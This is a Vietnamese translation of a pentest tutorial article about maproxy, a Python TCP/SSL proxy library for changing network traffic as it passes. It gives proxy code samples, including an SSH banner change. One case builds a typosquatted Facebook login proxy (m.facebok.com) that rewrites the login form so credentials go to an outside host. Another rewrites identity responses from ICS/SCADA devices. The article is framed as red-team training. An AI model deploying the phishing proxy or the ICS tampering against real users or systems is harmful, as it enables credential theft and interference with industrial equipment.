Xử lý dữ liệu mạng một cách nhanh chóng

Bản dịch của bài báo đã được chuẩn bị vào đêm trước khi bắt đầu khóa học “Pentest. Thực hành kiểm tra thâm nhập".

Xử lý dữ liệu mạng một cách nhanh chóng

Tóm tắt

Một loạt các loại đánh giá bảo mật, từ kiểm tra thâm nhập thường xuyên và hoạt động của Đội Đỏ đến hack các thiết bị IoT/ICS và SCADA, liên quan đến việc làm việc với các giao thức mạng nhị phân, về cơ bản là chặn và sửa đổi dữ liệu mạng giữa máy khách và mục tiêu. Đánh hơi lưu lượng truy cập mạng không phải là một nhiệm vụ khó khăn vì chúng ta có các công cụ như Wireshark, Tcpdump hoặc Scapy, nhưng việc sửa đổi dường như là một nhiệm vụ tốn nhiều công sức hơn vì chúng ta sẽ cần có một loại giao diện nào đó để đọc dữ liệu mạng, lọc, thay đổi nó một cách nhanh chóng và gửi nó trở lại máy chủ mục tiêu trong thời gian gần như thực. Ngoài ra, sẽ thật lý tưởng nếu một công cụ như vậy có thể tự động hoạt động với nhiều kết nối song song và có thể tùy chỉnh bằng cách sử dụng tập lệnh.

Một ngày nọ tôi phát hiện ra một công cụ tên là maproxy, tài liệu nhanh chóng cho tôi thấy rõ rằng maproxy - đúng thứ tôi cần. Đây là một proxy TCP khá đơn giản, linh hoạt và dễ cấu hình. Tôi đã thử nghiệm công cụ này trên một số ứng dụng khá phức tạp, bao gồm cả thiết bị ICS (tạo ra nhiều gói) để xem liệu nó có thể xử lý nhiều kết nối song song hay không và công cụ này hoạt động tốt.

Bài viết này sẽ giới thiệu cho bạn cách xử lý dữ liệu mạng một cách nhanh chóng bằng cách sử dụng maproxy.

Xem xét

Công cụ maproxy dựa trên Tornado, một khung mạng không đồng bộ phổ biến và trưởng thành trong Python.

Nói chung, nó có thể hoạt động ở một số chế độ:

  • TCP:TCP – kết nối TCP không được mã hóa;
  • TCP:SSL и SSL:TCP – với mã hóa một chiều;
  • SSL:SSL – mã hóa hai chiều.

Nó đến như một thư viện. Để bắt đầu nhanh, bạn có thể sử dụng các tệp ví dụ phản ánh nội dung chính chức năng thư viện:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Trường hợp 1 - proxy hai chiều đơn giản

Dựa trên tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

Theo mặc định ProxyServer() nhận hai đối số - vị trí kết nối và cổng đích. server.listen() nhận một đối số - cổng để nghe kết nối đến.

Thực thi kịch bản:

# python tcp2tcp.py

Để chạy thử nghiệm, chúng tôi sẽ kết nối với máy chủ SSH cục bộ thông qua tập lệnh proxy của chúng tôi, tập lệnh này sẽ lắng nghe 2222/tcp cổng và kết nối với một cổng tiêu chuẩn 22/tcp Máy chủ SSH:

Xử lý dữ liệu mạng một cách nhanh chóng

Biểu ngữ chào mừng thông báo cho bạn rằng tập lệnh mẫu của chúng tôi đã ủy quyền thành công lưu lượng truy cập mạng.

Trường hợp 2 - sửa đổi dữ liệu

Một kịch bản demo khác logging_proxy.py lý tưởng để tương tác với dữ liệu mạng. Các nhận xét trong tệp mô tả các phương thức lớp mà bạn có thể sửa đổi để đạt được mục tiêu của mình:

Xử lý dữ liệu mạng một cách nhanh chóng

Điều thú vị nhất là ở đây:

  • on_c2p_done_read – để chặn dữ liệu trên đường đi từ máy khách đến máy chủ;
  • on_p2s_done_read - đảo ngược.

Hãy thử thay đổi banner SSH mà máy chủ trả về cho máy khách:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Thực thi kịch bản:

Xử lý dữ liệu mạng một cách nhanh chóng

Như bạn có thể thấy, khách hàng đã bị lừa vì tên máy chủ SSH của anh ta đã được đổi thành «DumnySSH».

Xử lý dữ liệu mạng một cách nhanh chóng

Trường hợp 3 – trang web lừa đảo đơn giản

Có vô số cách để sử dụng công cụ này. Lần này hãy tập trung vào điều gì đó thiết thực hơn từ phía hoạt động của Đội Đỏ. Hãy bắt chước trang đích m.facebook.com và sử dụng miền tùy chỉnh có lỗi đánh máy cố ý, chẳng hạn như m.facebok.com. Với mục đích trình diễn, hãy giả sử rằng miền đã được chúng tôi đăng ký.

Chúng tôi sẽ thiết lập kết nối mạng không được mã hóa với proxy nạn nhân và Luồng SSL tới máy chủ Facebook (31.13.81.36). Để làm cho ví dụ này hoạt động, chúng ta cần thay thế tiêu đề máy chủ HTTP và thêm tên máy chủ chính xác, đồng thời chúng ta cũng sẽ tắt tính năng nén phản hồi để có thể dễ dàng truy cập nội dung. Cuối cùng, chúng tôi sẽ thay thế biểu mẫu HTML để thông tin đăng nhập được gửi cho chúng tôi thay vì máy chủ của Facebook:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/vi/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

Tóm lại:

Xử lý dữ liệu mạng một cách nhanh chóng

Như bạn có thể thấy, chúng tôi đã thay thế thành công trang web gốc.

Trường hợp 4 – Chuyển Ethernet/IP

Tôi đã làm việc với các thiết bị và phần mềm công nghiệp (ICS/SCADA) được một thời gian, chẳng hạn như bộ điều khiển khả trình (PLC), mô-đun I/O, ổ đĩa, rơle, môi trường lập trình bậc thang và nhiều thứ khác. Trường hợp này là dành cho những người thích những thứ công nghiệp. Việc hack các giải pháp như vậy liên quan đến việc tích cực chơi đùa với các giao thức mạng. Trong ví dụ sau, tôi muốn chỉ ra cách bạn có thể sửa đổi lưu lượng mạng ICS/SCADA.

Để làm điều này, bạn cần những điều sau:

  • Trình thám thính mạng, chẳng hạn như Wireshark;
  • Ethernet/IP hoặc chỉ là thiết bị SIP, bạn có thể tìm thấy nó bằng dịch vụ Shodan;
  • Kịch bản của chúng tôi dựa trên maproxy.

Trước tiên, hãy xem phản hồi nhận dạng điển hình từ CIP (Giao thức công nghiệp chung) trông như thế nào:

Xử lý dữ liệu mạng một cách nhanh chóng

Nhận dạng thiết bị được thực hiện bằng giao thức Ethernet/IP, đây là phiên bản nâng cao của giao thức Ethernet công nghiệp bao bọc các giao thức điều khiển như CIP. Chúng tôi sẽ thay đổi tên ID được đánh dấu hiển thị trong ảnh chụp màn hình "NI-IndComm cho Ethernet" bằng cách sử dụng tập lệnh proxy của chúng tôi. Chúng ta có thể sử dụng lại tập lệnh logging_proxy.py và sửa đổi tương tự phương thức lớp on_p2s_done_read, bởi vì chúng tôi muốn hiển thị một tên nhận dạng khác trên máy khách.

Code:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

Về cơ bản, chúng tôi đã yêu cầu nhận dạng thiết bị hai lần, phản hồi thứ hai là phản hồi ban đầu và phản hồi đầu tiên đã được sửa đổi nhanh chóng.

Và cuối cùng

Theo ý kiến ​​của tôi maproxy Một công cụ tiện lợi và đơn giản, cũng được viết bằng Python, vì vậy tôi tin rằng bạn cũng có thể hưởng lợi từ việc sử dụng nó. Tất nhiên, có nhiều công cụ phức tạp hơn để xử lý và sửa đổi dữ liệu mạng, nhưng chúng cũng cần được chú ý nhiều hơn và thường được tạo cho một trường hợp sử dụng cụ thể, ví dụ: muena, modlishka hoặc ác quỷ đối với các trường hợp tương tự như trường hợp thứ ba, hoặc canape cho trường hợp cuối cùng. Bằng cách này hay cách khác, với sự giúp đỡ maproxy bạn có thể nhanh chóng triển khai các ý tưởng chặn dữ liệu mạng của mình vì các tập lệnh mẫu rất rõ ràng.

Kiểm tra cơ chế xác thực trong Windows AD

Nguồn: www.habr.com

Thêm một lời nhận xét